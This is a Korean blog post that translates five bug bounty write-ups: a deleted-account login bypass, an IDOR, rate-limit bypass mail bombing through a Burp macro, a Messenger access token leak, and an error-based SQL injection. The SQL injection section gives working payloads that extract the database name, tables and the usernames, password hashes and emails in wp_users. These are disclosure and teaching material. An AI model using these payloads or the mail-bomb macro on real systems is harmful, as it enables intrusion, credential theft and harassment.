출처 : rajeshranjan457.medium.com/how-i-was-able-to-regain-access-to-account-deleted-by-admin-leading-to-a2c29025f8cd

 

How I was able to Regain access to account deleted by Admin leading to $$$

Hello hackers, I hope you are doing well. Today I’m gonna explain about one of my finding, in which how I was able to access the account…

rajeshranjan457.medium.com

해당 글은 버그바운티 결과물을 번역 및 수정한 게시물입니다.

이번 포스팅 게시물은 관리자가 삭제한 계정을 로그인 할수있는 취약점에 관한 리포트 입니다.
어떤 특정한 기술 보다는 중간 과정에서 패킷을 조작하여 시도하였습니다.

번역을 하는 것이기 때문에 저의 시점이 아닌 글쓴이 시점으로 번역하겠습니다.

 

방가방가. 나는 너가 잘하고 있기를 기원해. 오늘 나는 내가 찾은 취약점을 설명해보려해.  이 취약점은 어떻게 내가 관리자가 삭제한 계정의 권한을 다시 가져오는지에 관한 글이야. 하지만 주소를 알려줄수 없기 때문에 example.com의 도메인으로 설명할게.

이 프로그램은 많은 기능을 가지고 있었어. 거기에는 유저를 초대하는 옵션이 있었고 거기에 주소 example.com/dashboard/setup/user-accounts 이었어. 그래서 나는 한번 취약점을 찾아볼까 생각했지. 빠르게 나는 내 이메이로 초대장을 보냈어. 그리고 이러한 응답을 받았지. 이건 아래와 같이 201 created였어.

그래서 나는 내 이메일에서 수락을 누르고 계정을 만들었지. 그리고나서 나는 example.com/dashboard/login으로 들어갔지. 그리고 나는 request와 responese를 만들었어.

 

난 response를 복사해서 서브라임에 붙여놓았지. 다시 나는 관리자 대쉬보드로 가서 내 계정을 삭제했어.

그리고 나서 나는 example.com/dashboard/login에 들어가서 로그인을 시도해봤더니 역시나 login failed error를 받았지. 아래와 같이.

 

 그래서 나는 인터셉트를 키고 로그인 request를 캡쳐했어,

그리고 응답을 수정했어. 아래와 같은 원래 response를

이렇게 말이지.

그리고 나서 request를 포워딩하니까 나는 계정에 로그인이 됐어! 나는 빨리 리포팅했고 돈을 받았지만 노코멘트!

 

$$$가 얼만지 모르겠어서 노코멘트로 바꾸었는데 얼만지는 모르겠습니다.

되게 쉬운것 같은데 이런 생각을 했다는 것도 신기하네요.

그럼 이만!

See you space hacker!

출처 : protector47.medium.com/worth-1-500-idor-access-unauthorize-data-52604aec99

 

Worth $1,500 IDOR (Access Unauthorize Data)

Assalam-o-Alaikum,

protector47.medium.com

 

해당 글은 버그바운티 결과물을 번역 및 수정한 게시물입니다.

 

이번글은 IDOR 취약점을 중점적으로 설명하고 자신이 버그바운티 한 방법을 말해주는 게시물인데 타겟이 비공개라 IDOR을 소개하고 찾는 방법에 중점을 둔 리포팅이더라구요. 저도 그 흐름에 따라 진행하겠습니다.

이 취약점을 통해 $1,500의 버그바운티 금액을 수령했다고 합니다.

이번 취약점 분석글은 IDOR 취약점을 주제로한 버그바운티 게시글입니다.

IDOR 취약점은 Insecure Direct Object References 의 약자로 확인되지 않은 사용자의 input이 확인안된 접근으로 리소스나 조작을 할수있는 access control 취약점입니다.
IDOR는 매우 사이버보안에 심각한 결과를 가질수 있고 찾기 힘들지만 exploit하기는 매우 간단하고 이 취약점을 통해 직접 URL파라미터를 변환할 수 있습니다.

IDOR 취약점은 아래에 소개드릴 3가지의 상황에서 발생합니다.
1. 응용 프로그램에서 내부 리소스 또는 작업에 대한 직접 참조를 표시할 때.
2. 사용자가 URL 또는 매개변수 양식을 조작해 직접 참조를 수정할 수 있을 때.
3. 응용프로그램이 사용자의 권한을 체크하지 않고 내부 개체에 대한 액세스 권한을 부여할때.

그렇다면 IDOR 종류에는 어떤 것들이 존재할지 말해보겠습니다.

- Obtaining unauthorized data access (허가되지 않은 데이터를 액세스 수용) : 노출된 객체 참조는 direct db ID를 보여주어 공격자들이 민감한 정보를 포함한 db 기록들을 검색하도록 허용되게 할 수 있습니다. db 키 이름들과 values는 또한 SQL Injection 페이로드를 만들때 사용될 수 있습니다.

- Performing unauthorized operations (허가되지 않은 조작들을 실행) : 검증되지 않은 사용자의 ID values, command name, API keys의 조작들 통해 공격자들은 허가되지 않은 조작을 응용프로그램에서 실행할 수 있습니다. 그 예로 계정의 비밀번호 강제 변경, 관리 권한의 명령어를 통해 사용자를 추가하거나 권한 상승을 하도록 실행, 유료 또는 제한이 설정된 어플리케이션 API 또는 기능에 접근 권한 획득을 할 수 있습니다.

- Manipulating application objects (application objects 조작) : 내부 object reference에 접근은 내부 상태 또는 어플리케이션 데이터에 대한 변경을 허가되지 않은 사용자가 할 수 있도록 허용할 수 있습니다. 이러한 취약점은 공격자가 세션 변수를 조작할 수 있습니다. 예를 들어 데이터 변경, 권한 상승 또는 제한된 기능에 대한 접근 등이 되겠습니다.

- Getting direct acess to files (파일에 대한 직접 권한 획득) : 일반적으로 path traversal과 결합되어 이 IDOR 방법은 공격자들이 파일 시스템 리소스 조작을 할 수 있습니다. 이 방법은 파일 업로드, 다른 사용자들의 데이터 조작 또는 유료 컨텐츠를 무료로 사용등을 가능하게 합니다. 

How I discover vulnerability?

정보 수집과 특별한 방식의 파라미터 브루트 포싱은 항상 새로운 단계 또는 기대하지 않았던 결과를 가져다줍니다.

저는 "www.abc.com" 이라는 사이트를 통해 테스트 했습니다. (여기서 저 사이트는 가상의 사이트라고 가정한다고 합니다. 바운티 정책상 밝힐수 없다는 군요.)

 

저는 높은 수준의 취약점을 찾고 있었습니다. 왜냐하면 프로그램이 오래됐고 저는 일반적인 이슈들이 이미 제보되거나 중복된 취약점들이락 생각했기 때문입니다.

 

저는 XSS나 SQLi 그리고 다른 조작들을 시도해봤지만 찾을수 없었습니다. 그 어플리케이션은 보안이 잘되어있었습니다. 아니면 제가 별로 일지도;;(이것도 원글 작성자가 쓴 조크입니다;; 밑에 짤도...)

 

충분한 퍼징을 통해 저는 숨겨진 파라미터 브루트포싱을 시작했습니다. 그리고 endpoint는 "https://www.abc.com/users/account/" 를 찾아냈습니다.

 

브루트 포싱은 아래 Arjun과 Parameth를 사용했습니다.

 

1. "https://github.com/s0md3v/Arjun"

2. "https://github.com/maK-/parameth"

 

Arjun은 "?id="이라는 파라미터를 찾아주었습니다.

그 뜻은 "https://www.abc.com/users/account/?id=" 을 사용가능 하다는 뜻입니다.

 

내 ID는 6781이었고 내가 ID를 6781에서 부터 6780까지 바꾸었을 때 다른 사용자의 데이터에 접근이 가능했습니다!!!

 

참 쉽죠잉? (작성자가 쓴거임)

하지만 hidden 파라미터 찾기는 어려웠습니다.

 

$1,500 돈을 받았습니다.

 

감사합니다.

 

여기까지가 원 글이네요. 

 

어떻게 보면 바운티 리포트이긴 한데 IDOR 취약점을 찾을 수 있는 오히려 더 좋은 정보를 가진 게시물인 것 같습니다.

저도 나중에 저거 써봐야겠습니다.

이런 글들을 보면 참 쉽게 찾는 것 같은데 저것도 충분히 잘하는 사람이라 그런것 같습니다.

그럼 모두들 화이팅합시다!

 

 

출처 : https://ahmdhalabi.medium.com/chaining-multiple-requests-to-achieve-rate-limiting-vulnerabilities-96c1e8365c06
해당 글은 버그바운티 결과물을 번역 및 수정한 게시물입니다.

이번 글은 Rate Limiting Vulnerablity 기술로 속도 제한이 걸린 것을 우회하여 공격하는 것을 지칭하는 듯 하다.
이 글을 쓴 작성자는 이 공격을 통해 collaborator 메세지를 한번 밖에 보내지 못하는 것을 우회하여 타겟에게 계속해서 메일을 보내어 상대방 메일함을 테러하는 공격을 선보인다.
이 취약점을 해커원에 제보하여 1000달러의 포상을 받았다고 한다.

많은 기업과 프로그램들은 rate limiting protection을 인증 및 중요한 로그인과 포스트 생성같은 기능을 통해 엔드포인트에서 방어를 수행중에 있다고 한다. 보호기법은 매우 많고 다양한 방법과 타입으로 막기 때문에 우회방법 또한 존재한다고 한다.

프로그램은 대부분 당신이 collaborator를 당신의 프로젝트로 추가하기 위한 페이지안에 있는 알고리즘이 존재한다고 한다. 당신이 collaborator를 추가하면 알림은 추가될 collaborator에게 email로 전송된다. 당신은 만약 당신이 collaborator에서 초대장을 보낸 사람을 지우고 다시 초대하지 않는 이상 한번만 초대가 가능하다고 한다.

작성자(Ahmad Halabi/ 앞으로 하라비로 쓰겠다)는 위와 같은 특징을 통해서 add_collaborator, nomal request, remove_collaborater 이 세개의 requests 체인을 통해 버그를 발견했다고 한다. 하라비는 타겟에게 시간제한 없이 아래와 같은 스텝으로 메일을 보낼수 있는 매크로를 burp안에서 쓸수있게 만들었다고 한다. 여기서 burp는 burp suite 말하는듯.

스텝

  • collaborator 추가 요청을 수행한다.
  • target.com으로 정상요청을 보낸다.
  • collaborator 제거 요청을 수행한다.

이거 세개를 반복해서 하면 메일 폭탄이 간다고 한다.

재현 단계

그냥 독자가 collaborator 추가하고 지우고 다시하고 지우면 독자 메일로 2개의 알림이 메일박스에 저장된 것을 확인할 수 있답니다.
더 심화적으로 하려면 script를 짜서 자동으로 하면되고 아니면 burp를 사용하여 해도 된다고 합니다. 자기는(하리비) burp Macro를 사용했다고 합니다.

  • 버프수트 프록시 키고 collaborator 추가 및 삭제를 진행하고 해보는 사람 계정으로 간다.
  • 버프수트에서 Project Option -> Under Session Handling Rules 클릭 -> Add -> In Rule Actions 크릭해서 Run a Macro를 선택
  • Under Select Macro 클릭 -> Add -> Burp requests history가 열릴거고 3 requests를 순서대로 선택 : Add collaborator - request to profile account - remove colaborator. Ok클릭하고 매크로 테스트하고 메일박스에 알림이 왔는지 보면된다.

이렇게 되면 많은 알림을 보낼수 있다.

이렇게...

타격

이 공격으로 타겟의 메일링 시스템을 엄청난 수의 초대로 날려버린답니다.

취약점 원인

공동 작업 초대에 대해서 속도제한을 걸기위해서 3가지 requests를 연결하여 보지 않아서

취약점 보호방법

Add collaborator 및 Remove Collaborator requests에 limit protection을 적용시킨다.

하리비(작성자)의 교훈

보호수단에 의존하지 말고 속도제한을 걸수있는 보호방법을 강구해야한다. 왜냐하면 다양한 요청들은 chaining해서 공격받을 수 있기 때문 이랍니다.

하리비의 게시물을 읽지 않은 사람은 여기 링크로 들어가서 자기가 어떻게 버그헌팅 시작했고 뭐 하는 그런거 읽어보러 오라는 데 상도덕으로 올립니다.
https://ahmdhalabi.medium.com/my-bug-bounty-journey-ranking-1st-in-u-s-dod-achieving-top-100-hackers-in-1-year-f208c10144fc

출처 :medium.com/bugbountywriteup/how-i-found-the-facebook-messenger-leaking-access-token-of-million-users-8ee4b3f1e5e3

해당 글은 버그바운티 결과물을 번역 및 수정한 게시물입니다.


**이번 게시글은 Guhan  Raja의 바운티 글을 번역한 것으로 페이스북의 third party인 **GIF search engine의 information disclosure 취약점으로 $16,125 의 바운티 상금을 받은 것으로 기록되어 있습니다.****

처음에 화자는 Burp suite를 통해 API Request를 중간에 보면서 iOS를 테스트 해보는 중이었지만 아무 것도 발견하지 못했습니다.

그러던 와중 대학교 친구에게 Messenger App으로 메시지가 도착했고 답장을 하기위해 GIF를 검색했다고 합니다.

이때 자신이 Burp proxy를 사용중이었던 것을 기억하고 burp history를 검색했다고 합니다.

히스토리를 검색한 결과 모든 Tenor GIF request에 access token이 leak 되고 있는 것을 발견했다고 합니다.


**이때 Access Token은 사용자를 대신해 특정 작업을 수행하기위해 사용되는 토큰 또는 키 입니다.**

**또한 이 Access Token으로 비밀번호 없이 사용자의 계정에 접근할 수 있습니다.**

이 사진은 블로그 게시자의 이미지를 가져온 것입니다.

그리고 이것을 페이스 북에 제보하여 상금을 받았다고 합니다.

출처 : https://ynoof.medium.com/error-based-sql-injection-on-a-wordpress-website-and-extract-more-than-150k-user-details-f65f987c2cc0

해당 글은 버그바운티 결과물을 번역 및 수정한 게시물입니다.

Error Based SQL Injection
[정의]
1. 의도적으로 에러를 유발
2. 내가 원하는 에러 메세지를 출력되도록 유도
참고 : https://sang-gamja.tistory.com/26?category=734915

공격자는 우선 wordpress를 타겟으로 공격을 진행하였다고 한다. 이때 공격에 사용되는 url은 target.com으로 진행한다.

우선 공격자는 싱글쿼터('), 더블쿼터("), 슬래쉬(/), 해쉬(#) 등을 이용해 해킹을 시작한다.

공격자는 우선 아래와 같은 공격을 진행했지만 페이지에 보여지는 것은 없었다고 한다.

https://target.com/pages/?sort=1

https://target.com/pages/?sort=1'

보통은 여기서 아무것도 일어나지 않는다면 무심코 지나치겠지만 페이지 소스를 열어 아래와 같은 에러가 발생하였다는 것을 알았다.

<div id="error"><p class="wpdberror"><strong>WordPress database error:</strong> [You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near &#039;\\\\\\&#039; ASC LIMIT 10 OFFSET 4120&#039; at line 6]<br /><code>
            SELECT
                p.*,
                c.Name as CategoryName,
                c.Slug as CategorySlug,
                c.Code as CategoryCode,
                (CAST(p.UpvoteCount as SIGNED) - CAST(p.DownvoteCount as SIGNED)) as Votes FROM wp_news_posts AS p LEFT JOIN wp_news_categories c ON(c.Id = p.CategoryId) WHERE p.AggregatorId = 3 AND p.Status != &quot;rejected&quot; AND p.Status != &quot;pending&quot; GROUP BY p.Id ORDER BY p.1\\\\\\&#039; ASC LIMIT 10 OFFSET 4120</code></p></div><!DOCTYPE html>

에러 내용에서 limit가 초과되지 않았다는 것을 알았기에 에러를 없애기위해 아래와 같은 시도를 진행하였다.

https://target.com/pages/?sort=1'--
https://target.com/pages/?sort=1'-- -
https://target.com/pages/?sort=1'/
https://target.com/pages/?sort=1'#

하지만 에러는 고쳐지지 않고 아래와 같은 에러가 떴다.

WordPress database error: [Unknown column &#039;p.1&#039; in &#039;order clause&#039;]
            SELECT
                p.*,
                c.Name as CategoryName,
                c.Slug as CategorySlug,
                c.Code as CategoryCode,
                (CAST(p.UpvoteCount as SIGNED) - CAST(p.DownvoteCount as SIGNED)) as Votes FROM wp_news_posts AS p LEFT JOIN wp_news_categories c ON(c.Id = p.CategoryId) WHERE p.AggregatorId = 3 AND p.Status != &quot;rejected&quot; AND p.Status != &quot;pending&quot; GROUP BY p.Id ORDER BY p.1 ASC LIMIT 10 OFFSET 4120

이 에러는 [Unknown column p.1 in order clause]이다.

따라서 sort 파라미터의 값을 대신하기 위해서 위 에러메세지에서 알아낸 UpvoteCount, DownvoteCount, CategoryId, AggregatorId, Status, Id 중 하나를 선택해서 진행한다.

https://target.com/pages/?sort=CategoryId

이때 소스페이지에는 에러가 나타나지 않았고 성공적으로 에러를 고쳤다.

우리는 UNION SELECT가 먹히지 않을 때 컴파일된 쿼리를 사용해 동작을 진행할 수 있다.

우리는 아래와 같은 Error-Based Query를 사용할 수 있다.

a. The Used Select Statements Have  Different Number Of Columns.
b. Unknown Column 1 or no columns at all (in webpage and page source)
c._error_ #1604

A. Knowing the DB Version

아래와 같은 쿼리로 DB Version을 얻을 수 있다.

and (SELECT 0 FROM (SELECT count(*), CONCAT((SELECT @@version), 0x23, FLOOR(RAND(0)*2)) AS x FROM information_schema.columns GROUP BY x) y)

작성자의 경우 아래와 같은 쿼리로 진행하였다.

<https://target.com/pages/?sort=CategoryId> and (SELECT 0 FROM (SELECT count(*), CONCAT((SELECT @@version), 0x23, FLOOR(RAND(0)*2)) AS x FROM information_schema.columns GROUP BY x) y)

따라서 우리는 버전을 획득할 수 있었다.

10.3.14-MariaDB

B. Getting the DB Name

우리는 아래와 같은 쿼리로 DB 이름을 알아낼 수 있다.

and (SELECT 0 FROM (SELECT count(*), CONCAT((SELECT database()), 0x23, FLOOR(RAND(0)*2)) AS x FROM information_schema.columns GROUP BY x) y)

모든 데이터베이스를 추출하기 위해서 limit 함수를 증가시킨다
예) limit0,1 or limit1,1 or limit2,1...etc

작성자의 경우는 아래와 같이 진행했다.

<https://target.com/pages/?sort=CategoryId> and (SELECT 0 FROM (SELECT count(*), CONCAT((SELECT database()), 0x23, FLOOR(RAND(0)*2)) AS x FROM information_schema.columns GROUP BY x) y)

DB Name 결과는 아래와 같다.

prd2

C. Getting the table naems

우리는 아래와 같은 쿼리로 테이블 이름을 알 수 있다.

and (select 1 from (select count(*),concat((select(select concat(cast(table_name as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

작성자는 아래와 같은 쿼리를 진행했다.

<https://target.com/pages/?sort=CategoryId> and (select 1 from (select count(*),concat((select(select concat(cast(table_name as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

획득한 테이블 이름은 아래와 같다.

[Duplicate entry &#039;wp_mail~1; for key group_key] 

limit를 쓰지않고 획득하려면 아래와 같은 쿼리로 얻을 수 있다.

CategoryId+and (select 1 from (select count(*),concat((select(select substring(group_concat(table_name),1,150)) from information_schema.tables where table_schema=database()),floor(rand(0)*2))x from information_schema.tables group by x)a)

만약 substring 함수가 동작하지 않으면 substr 또는 mid 함수를 사용해라.
작성자는 테이블 이름 중 wp_users의 컬럼에 접근하려 한다.

D. Getting columns from wp_users table

우리는 아래와 같은 쿼리로 컬럼에 접근할 수 있다.

and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0x77705f7573657273 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

작성자는 아래와 같은 쿼리를 사용하였다.

<https://target.com/pages/?sort=CategoryId> and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0x77705f7573657273 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

획득한 컬럼은 아래와 같다.

ID
user_login
user_pass
user_nicename
user_email
user_url
user_registered
user_activation_key
user_status
display_name

Extracting the data from columns

우리는 데이터를 아래와 같은 쿼리를 사용하여 얻을 수 있다.

<https://target.com/pages/?sort=CategoryId> and (select 1 from (select count(*),concat((select(select concat(cast(concat(ID,0x7e,user_login,0x7e,user_pass,0x7e,user_email) as char),0x7e)) from prd2.wp_users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

또는 limit 함수를 사용하지 않고 아래와 같은 쿼리를 사용하여 데이터를 얻을 수 있다.

CategoryId+And(select 1 from(select count(*),concat(0x3a,(select substr(group_concat(ID,0x7e,user_login,0x7e,user_pass,0x7e,user_email),1,150)from prd2.wp_users),0x3a,floor(rand(0)*2))x from information_schema.tables group by x)z)

+ Recent posts